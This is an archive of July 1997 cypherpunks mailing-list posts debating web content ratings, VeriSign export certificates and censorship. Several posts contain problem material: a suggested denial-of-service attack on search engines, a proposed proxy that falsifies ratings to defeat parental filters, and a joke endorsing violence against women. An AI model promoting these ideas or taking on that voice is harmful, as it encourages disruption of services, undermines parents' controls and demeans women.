Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 17 Jul 1997 09:14:07 +0800
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.LNX.3.93.970717064758.102A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain




	Now I'm clearly not a 'merkin and have little knowlig of how your
system works but I would have thourt creating a sepreate marking sceam for
'news sites' and makeing it illegal to misslable would be creating a
licenced press and therefore unconstutional.

You Say To People "Throw Off Your Chains" And The Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 17 Jul 1997 15:50:42 +0800
To: Lizard <cypherpunks@cyberpass.net>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <a7uy0D3w165w@bwalk.dm.com>
Message-ID: <199707170742.BAA26953@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970716:2321 
    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Lizard <lizard@dnai.com> writes:

+> You will get a lot more respect on the net once you learn how to read
+> messages. I'll leave it you to figure out what you got wrong.

+You assume that someone gives a damn whether you "respect" them or
+not.

    Lizard is a bigger fool than he shows --anyone who writes on the basis of 
    "respect" fails to understand the principles of controversial opinions and 
    the advancement of knowledge away from either politically or "socially" 
    correct thinking.  rudeness can occasionally be an art form in and of 
    itself --for instance, in dealing with a pompous asshole who never gets 
    off his/her procelain potty throne.

        attila
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 14:21:56 +0800
To: cypherpunks@toad.com
Subject: de minimus non curat lex
Message-ID: <199707170605.IAA26013@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



frissell@panix.com wrote:
> At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
> >As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
> >it a Federal crime to misrate. --Declan

> What ever happened to "de minimus non curat lex."  The social damage from a
> misrated website is too trivial to be believed.  Punishing it is like
> executing you for farting.

  The correct translation of "de minimus non curat lex" is: 
"No fart, no foul."
  In order for order to prevail, society must have the authority
to punish those who fart in a crowded theater. On the other hand,
if someone farts in a forest and nobody smells it...

  Never mind. I was having an AOL flashback.

FartMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter G. Neumann" <neumann@csl.sri.com>
Date: Thu, 17 Jul 1997 23:47:12 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: i miss carol anne cyphergrrl
Message-ID: <CMM.0.90.1.869152885.neumann@chiron.csl.sri.com>
MIME-Version: 1.0
Content-Type: text/plain



Dank U, Zooko!
We are indeed on the horns of a dilemma.
As long as the vendors can get away with crapware
(with respect to security, reliability, robustness, etc.),
there is no incentive to do better.  In info-peace, most
folks don't care.  In info-war, the bad guys (on all sides)
are delighted that the systems are flaky, and the good guys
lose.  However, the governmental incentives that exist seem
to opt for dumbing down -- despite the realization that 
governments cannot get x-worthy systems to satisfy their own
needs.  Short-sighted parado[x|c]trinarianism abounds.
Piet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 17 Jul 1997 23:38:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: VeriSign Granted First Federal Approval to Issue CertificatesEnabling Export of Strong Encryption
Message-ID: <v03102801aff3ea71e5a9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:16 PM -0400 7/15/97, ptharrison wrote, on e$@thumper.vmeng.com:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:49 AM 7/15/97 -0400, VERISIGN PR wrote:
>>---------------------------------------------------------------------
>>...allowing approved organizations to use 128-bit encryption
>>... U.S.-based companies -- with servers located in the U.S.  --
>> and international banks -- with servers located in the US and abroad --
>>... was granted approval after review and consultation
>> from the National Security Agency (NSA) and Federal Bureau of Investigation
>> (FBI).
>> ...Companies will not need to escrow their keys in order
>> to take advantage of this program.
>> ...VeriSign...can ensure that...Global Server IDs will only be granted to >
>> > legitimate businesses that meet the necessary U.S. government
>qualifications
>> Thanks to the cooperation of the U.S. government, we are now able to offer
>>law-> abiding companies a legal alternative for secure communication and
>>commerce."
>> ...
>>     MICROSOFT
>> said Mike Dusche, "The U.S. government is sending a strong message to the
>world
>> by approving these applications and we're happy to be working with them...
>
>Yes, and what might that message be?

With this announcement, it has become clear to me what the US government is
attempting to do. They are relaxing the export of strong crypto -- if you
use a US-based certification authority. Why does this matter? Look at the
Kerry bill. My guess is that they already know that Verisign will go along
with a key escrow requirement, in exchange for protection from liability,
and so their goal now is to put Verisign in the loop as much as possible.

I started to think of the loopholes this could create -- US companies
outsourcing web sites for  foreign companies, etc. Then I realized: IT
DOESN'T MATTER, as far as the US government is concerned, because they're
going to have those keys escrowed. The Kerrey bill may not pass this
go-around, but they are counting on something like this.

The hard part, now, is to figure out how to explain this to industry,
public and the press, without sounding like raving lunatics. We meed to
make it more concrete. Remind people that certificates expire every year,
and point them at the Kerrey legislation. Ask foreign banks how they feel
about their transactions being fully accessible to the US government -- or
anyone capable of bribing a low-level functionary in the US government.

--Steve

PGP mail preferred, see  http://web.mit.edu/network/pgp.html
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 18 Jul 1997 00:06:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <v03102800aff35a11fa0e@[10.0.2.15]>
Message-ID: <19970717085138.30752@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 16, 1997 at 10:13:22PM -0700, Steve Schear wrote:
> >     Spooked by the threat of a revised Communications
> >Decency Act, high tech firms are seriously backing
> >labels for the first time. Joining Clinton in coercing
> >Internet users and businesses to label all their web
> >pages were Yahoo, Excite, and Lycos. "I threw a
> >gauntlet to other search engines in today's meeting
> >saying that collectively we should require a rating
> >before we index pages," Robert Davis, the president of
> >Lycos, told me. Translation: if you don't play ball,
> >and label your site, search engines will ignore you.
> 
> These suggests that Yahoo, Excite, and Lycos might become tempting targets
> of a Net-wide DoS attack until they repent.

It also suggests a far more intelligent course of action, namely
setting up a competing, non-rating, search engine somewhere else.  It
would soon become more popular than Yahoo etc -- a tremendous 
business opportunity.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 17 Jul 1997 11:27:18 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716193112.16504K-100000@well.com>
Message-ID: <Pine.LNX.3.93.970717091037.246A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, Declan McCullagh wrote:

> Kudos to Microsoft for doing the right thing.

What is the tempriture in hell today?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And The Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 18 Jul 1997 00:34:18 +0800
To: Adam Shostack <shamrock@netcom.com (Lucky Green)
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <v0300781aaff3f52c25a1@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



It seems to me that someone who has a one year export approved Verisign
cert should use it to authenticate a new top-level CA cert which they pass
to their customers.  Cut Verisign and their nosy/noisy partner out of the
loop.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 17 Jul 1997 21:56:42 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <199707171339.JAA19638@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	This is sort of entertaining considering that Verisign still
doesn't use strong encryption for themselves.  (Set your browser to
not use broken algorithms, and try to connect to www.verisign.com.
Makes me want to send them the data for a class 3 cert.)

Lucky Green wrote:
| >
| >     "VeriSign on Monday said it received permission from 
| >       the U.S. Department of Commerce to export 128-bit 
| >       strong encryption software and issue digital 
| >       identifications to approved organizations based on 
| >       that software. "
| 
| It tells us that the US government has found yet another sucker to support
| their failed policy of bait and switch. VeriSign, just as AT&T and National
| Semiconductor have discovered in the past, will discover soon that the
| revenue generated by "playing ball" isn't nearly as large as promised. [How
| many Clipper phones and Fortezza iPower cards were sold? Total?] In fact,
| it the revenue may well prove to be in the negative digits.

| time by VeriSign upon the USG's request. Such revocation or refusal to
| issue a new cert after the first year of operation will leave the webserver
| operator with a server that is no longer able to encrypt communications to
| their customers in any meaningful way, thereby effectively shutting down
| Internet based operations of the company unfortunate enough to invest in
| such a flawed solution.

	I'll save Sameer the trouble, and suggest that people buy
Stronghold.

Adam

-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 01:21:31 +0800
To: Bill Frantz <adam@homeport.org>
Subject: Re: Verisign gets export approval
In-Reply-To: <199707171339.JAA19638@homeport.org>
Message-ID: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>It seems to me that someone who has a one year export approved Verisign
>cert should use it to authenticate a new top-level CA cert which they pass
>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>loop.

Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
extension) will activate the strong encryption in exportable browsers. This
is hardcoded into Navigator and Internet Explorer.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 23:51:22 +0800
To: cypherpunks@toad.com
Subject: Re: All of my fucking material is suitable for children of all ages
In-Reply-To: <199707170946.LAA02378@basement.replay.com>
Message-ID: <k9oZ0D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> 
> Tim May wrote:
> > my posts should be read by children of all ages, no matter what
> > fucking language I use. Children should be exposed to language and images
> > of all types, so all of my material would of course be "suitable for
> > children."
> 
>   I have to agree with the rat-bastard, cocksucking, motherfucking
> sack of shit, Tim May, on this one.

When Timmy is not flaming me, he usually talks sense.

FWIW, my 8 y o has his own IBM Aptiva, his own Internet access, his own
e-mail box, and I exercise absolutely no control over what he reads or
says on the Internet.

>   Having Tourette Syndrome, I object to anal retentives who would
> criminalize my God-given verbal predelictions. Neither would my
> receiving an exception on the grounds of being disabled be remotely
> acceptable to me, since I sincerely believe that my TS is a "gift"
> that allows me to say anything that others say to a judge, *plus*
> being able to call him or her a Nazi ratfucker. (Anyone who thinks
> this is a "disability" is fucking crazy.)
> 
>   On the other hand, it would be kind of neat to launch a class action
> lawsuit demanding that ratings systems incorporate a label such as:
> "Suitable (FUCK!) for children (COCKSUCKER!) with Tourette Syndrome"
> 
> FUCKMonger
> > --
> > [This Bible excerpt awaiting review under the U.S. Communications Decency
> > Act of 1996]
> > And then Lot said, "I have some mighty fine young virgin daughters. Why
> > don't you boys just come on in and fuck them right here in my house - I'll
> > just watch!"....Later, up in the mountains, the younger daughter said:
> > "Dad's getting old. I say we should fuck him before he's too old to fuck."
> > So the two daughters got him drunk and screwed him all that night. Sure
> > enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> > really hated the idea of doing his brother's wife and getting her pregnant
> > while his brother got all the credit, so he pulled out before he
> > came....Remember, it's not a good idea to have sex with your sister, your
> > brother, your parents, your pet dog, or the farm animals, unless of course
> > God tells you to. [excerpts from the Old Testament, Modern Vernacular
> > Translation, TCM, 1996]
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 23:47:12 +0800
To: cypherpunks@toad.com
Subject: Re: The Big Sellout
In-Reply-To: <199707170854.EAA01439@upaya.multiverse.com>
Message-ID: <eNPZ0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Peter D. Junger" <junger@upaya.multiverse.com> writes:

> 
> Brian Lane writes:
> 
> :   My webpage will proudly remain unlabeled by any labeling standard.
> : Anyone got a good design for a 'No Lables, Never' sticker to add to our
> : pages?
>  
> How about an image of a label with the words ``this is not a label''
> on it?

I think a better approach would be to rate all of one's pages as being very
nasty, and post a disclaimer that those who rely on 'ratings' shouldn't be
allowed to see it, irrespective of contents.

I dont know much about this Web page design stuff. Can someone please post
a recipe for 'rating' a page to be max-nasty, both sex and violence-wise?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 18 Jul 1997 02:07:13 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717103257.040aa9e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:45 PM 7/17/97 +0200, Name Withheld by Request wrote:
>
>
>On Wed, 16 Jul 1997 frissell@panix.com wrote:
>
>> What ever happened to "de minimus non curat lex."  The social damage
from a 
>> misrated website is too trivial to be believed.  Punishing it is like 
>> executing you for farting.
>
>  In some cases that may not be a bad idea :). But getting back to the
>original point, if I'm going to be subject to jail for mislabeling my
>pages (and how do you tell, given that some systems use a numeric rating? 
>count the nipples and add the size of any erections?) then that would 
>seem to be a good reason to move my Web site out of America. 
>  Idependent rating systems are a good thing, and we've talked about them
>here many times in the past (e.g. 'repuation markets'). A mandatory
>requirement for web authors to rate their own pages is a hideous idea
>which will simply move more of the Web overseas, helping to destroy the US
>economy. 

Furthermore, if you have no smut on you page, but you link to offensive
content (rated or unrated) somewhere else, how does that rate?

A while back on a whim, I created a page that is based on a type of ambush
humor.  The link describes something in a way where you think you are going
to one thing, but go to something entirely different.  If they push
something where you have to label everything for the most clueless out
there, it will ruin the whole page.  (I find the idea that I might get
prosecuted for my Goth page absurd, but it is possible considering the
clueless morons in power.)  The page (outdated links and all) is at
http://www.ctrl-alt-del.com/~alan/goth.html .

Something else...  Why does the press refer to Gore in such terms that make
him look like he is some sort of techno-nerd?  The man is totally without
clues.  (I believe the proper term is "Connection to Clue-server refused by
host.")  The "Information Superhighway" that he was pushing was a souped-up
cable system for Ghod's sake!  (The extra bandwidth was going to be used by
starting movies every 10-15 minutes instead of having to wait.)  The
hearings on that were high clueless theatre...  Maybe Declan can due an
article on how far removed Gore really is from the process.  (But that
might offend his corporate masters...)

  
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 01:50:49 +0800
To: cypherpunks@Algebra.COM
Subject: What is Truth?
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <v03102802aff4087cae4c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:45 AM -0700 7/17/97, Name Withheld by Request wrote:
>On Wed, 16 Jul 1997 frissell@panix.com wrote:
>
>> What ever happened to "de minimus non curat lex."  The social damage from a
>> misrated website is too trivial to be believed.  Punishing it is like
>> executing you for farting.
>
>  In some cases that may not be a bad idea :). But getting back to the
>original point, if I'm going to be subject to jail for mislabeling my
>pages (and how do you tell, given that some systems use a numeric rating?

There are some core issues in this debate:

* What is truth? What is "adult material"? What is "violent material"? What
is "appropriate for 10-year-olds"?

* Who can possibly determine this?

I conclude that the only possible option (that will withstand review by the
courts, including eventually the Supreme Court) is "purely voluntary
labeling, including none."

Whether search engines or browsers will index or point to unlabelled
sites/material is of course up to _them_ (again, in a voluntary way).

The one possible legal sticking point is "misrepresentation" of labels. But
even this problem goes away.

Digital signatures prevent others from forging labels.

What's left is then the original issue, e.g., "What if Tim's Rating Service
says material is OK for children of all ages, and it isn't?" This is an
_opinion_ issue, and the State must not get involved in opinions.

There is no role whatsover for government in this issue, of course, any
more than there is any role for government in regulating, overseeing,
licensing, approving, or interfering with publishing in general.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 17 Jul 1997 13:07:23 +0800
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <Pine.LNX.3.93.970717104955.314B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, Declan McCullagh wrote:

> Wait -- so you're saying they *didn't* do the right thing with RSACi?
> 
> BTW, we should differentiate generally between state action and private
> action. Getting fucked by Microsoft != getting fucked by the government.

When microsoft has more power and money then most goverments I begin to 
see no real difference between president Bill gates and any other
totalrion dictator.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 19:14:29 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716140549.18879C-100000@well.com>
Message-ID: <Pine.LNX.3.91.970717104711.2219A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>      If you host a web page or publish online, be
> warned: soon your site might become invisible. Search
> engines won't index it and web browsers won't show it.
> Unless, that is, you agree to attach special labels to
> your web pages identifying how violent, sexually
> explicit, or inappropriate for kids your site is.

As I remember these systems such as PICS do not index back onto the PICS 
HQ server to find your rating, but just check HTML tags in your page. 
Also, of course, the "PICS off" part of the options will be passworded to 
prevent kids from retrieving unrated/high rated pages, so we need to find 
a way around this.

Now presumably Congress will pass a law mandating correct rating of pages, 
but we could set up a non-US site which acted as a proxy, a bit like the 
anonymizer, and when it was requested it would retrieve a page, strip 
of all current tags, and replace them with new "no violence, no sex 
etc.." tags. Clearly however this would be a *very* high bandwidth 
application, but it`s just a thought. 

To kill the bandwidth problem, maybe someone could write a local HTML 
anti-PICS proxy, so, one would load up the web browser, point it at 
http://localhost which would bring up a simple page with a box for the 
URL to retrieve, the local proxy would then use HTTP to get the page, 
strip of all existing PICS tags, insert new "no sex, no violence etc..." 
tags, and forward the page on to the browser.

However, I find it unlikely many censorous parents would have the 
foresight to ensure the kids login couldn`t install other s/w such as an 
old browser which doesn`t support PICS and would display the pages 
anyway, so it looks like the whole discussion may lead nowhere, apart 
from maybe the advantage of the new browsers other features being 
preserved in the proxy route.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 18 Jul 1997 02:26:19 +0800
To: frantz@netcom.com
Subject: Re: Verisign gets export approval
In-Reply-To: <v0300781aaff3f52c25a1@[207.94.249.49]>
Message-ID: <199707171803.LAA25949@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz writes:
> 
> It seems to me that someone who has a one year export approved Verisign
> cert should use it to authenticate a new top-level CA cert which they pass
> to their customers.  Cut Verisign and their nosy/noisy partner out of the
> loop.

My understanding is that Verisign's licensing agreement
explicitly forbids using any certs they issue as CA certificates.
Maybe if the 'someone' paid Verisign an appropriate fee they
might allow it, but I'd bet that fee would be very high.
Verisign's no dummy, they don't want to enable new competition
to ride on their backs.

In the case of this special strong-crypto-allowing cert, Verisign
would probably be encouraged to discourage cert holders from
using the special Verisign certs as CA certs, for the very
reason you suggest. :-)

The format of the X.509 extensions that will enable strong crypto
operation will be known soon.  Even if Netscape et. al. tried to keep
them secret, since they're public certificates they'll be available to
anyone with an ASN.1 parser.


-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 19:27:31 +0800
To: "James A. Donald" <jamesd@echeque.com>
Subject: Re: FCPUNX:'The Failure to Do Your Job' amendment (was Re: White House
In-Reply-To: <199707170348.UAA19054@proxy4.ba.best.com>
Message-ID: <Pine.LNX.3.91.970717110931.2219B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > A Constitutional amendment that would call for the impeachment of the
> > President for failing to veto any three bills that are overturned by the
> > Supreme Court on Constitutional grounds.
> 
> This however, presupposes that the supreme court is likely to veto
> unconstitutional bills, and refrain from vetoing constitutional
> bills.  

This also assumes that the supremes, knowing the president may be 
impeached on the 3rd overturned bill, would not be less likely to 
overturn it because of the political turmoil created. Also it assumes the 
supremes cannot be brought, by and large a president doesn`t care about 
individual bills, if his ass was on the line it would be a case for more 
desperate action on his part.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roland Silver <rollo@artvark.com>
Date: Fri, 18 Jul 1997 01:32:23 +0800
To: cypherpunks@toad.com
Subject: Icosahedral dice
Message-ID: <v03110602aff4040dc541@[206.183.203.115]>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know of a source for a picture of a pair of icoshedral dice?


-- Rollo Silver <rollo@artvark.com>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 18:54:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170338.WAA32029@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.91.970717112425.2219D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> There seems to be a prevelent attitude in the INet community that when
> getting fucked by the government we should thank them for only sticking it
> in half-way.

ObTastelessCypherpunkJoke:

Q. What do you do if a woman says "give me 12 inches and hurt me"?

A. Stick it in half way and punch her....


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 18 Jul 1997 02:45:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: What is Truth?
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717113355.03de9400@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:44 AM 7/17/97 -0700, Tim May wrote:
>There are some core issues in this debate:
>
>* What is truth? What is "adult material"? What is "violent material"? What
>is "appropriate for 10-year-olds"?

And not all 10-year olds are created equal.

Mine is able to handle alot of things that many adults cannot.  (She was in
the front row of the last H.P. Lovecraft film festival in the area.  Had
alot of fun and no nightmares.  Got some interesting looks from the people
running it...)  It depends on how the child was raised.  Most kids I have
seen are raised to be weak and fragile little ornaments for their parent's
ammusement.  They have little or no intelectual curiosity.  Many of them
have a hard time distinguishing fact from fiction.  (And some grow up that
way as well.)

>* Who can possibly determine this?

They will determine some standard, not based on any actual 10-year olds or
any knowledge of what is good for them.  It will be based on input from
various preasure groups as to what a "good little 10-year old" should be
like.  And what is "good for a 10-year old is good for America".

The real reason for these controls is to impose their "moral" views on the
rest of the net.  Children are of little concern here, except in enforcing
control over future generations.  What is important is exerting control
over the rest of the population.

>I conclude that the only possible option (that will withstand review by the
>courts, including eventually the Supreme Court) is "purely voluntary
>labeling, including none."

It will be as "purely voluntary" as taxes.  They will come up with various
"incentives" for pages to be rated.  Those "incentives" will be things like
"not being beaten with a rubber hose" or "not getting your feed to the net
cut".

>Whether search engines or browsers will index or point to unlabelled
>sites/material is of course up to _them_ (again, in a voluntary way).

But they will be "discouraged" through quasi-legal means from indexing
unrated and/or unauthourized pages.

Makes me want to build a web crawler that looks ONLY for offensive pages.

>The one possible legal sticking point is "misrepresentation" of labels. But
>even this problem goes away.

Labels are subjective.  I expect a few small fish will be made an example
of just to frighten others into complience.

>Digital signatures prevent others from forging labels.

If they are signed.  Many of the would-be labelers are not especially clued.

>What's left is then the original issue, e.g., "What if Tim's Rating Service
>says material is OK for children of all ages, and it isn't?" This is an
>_opinion_ issue, and the State must not get involved in opinions.

It comes down to an issue of "Lawyers, Guns and Money".  How bad do they
want to hurt you.  I expect that they will come up with some sort of
"certification authority" for labeling organizations.  Those who are not
"certified" will not be "recognised" by the filtering software.  

>There is no role whatsover for government in this issue, of course, any
>more than there is any role for government in regulating, overseeing,
>licensing, approving, or interfering with publishing in general.

And can you name ANY part of society that Government has been willing to
"leave alone"?  It does not matter what portion of society it is...  If it
is a "hot button issue", government feels compelled to get involved.  It is
part of the control freak nature of government.  Have you ever known a
government agency to "mind its own business"?  You are refering to a
philosophy not followed by the US government.

They will regulate until no Cypherpunk breathes free air...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 18:02:20 +0800
To: cypherpunks@toad.com
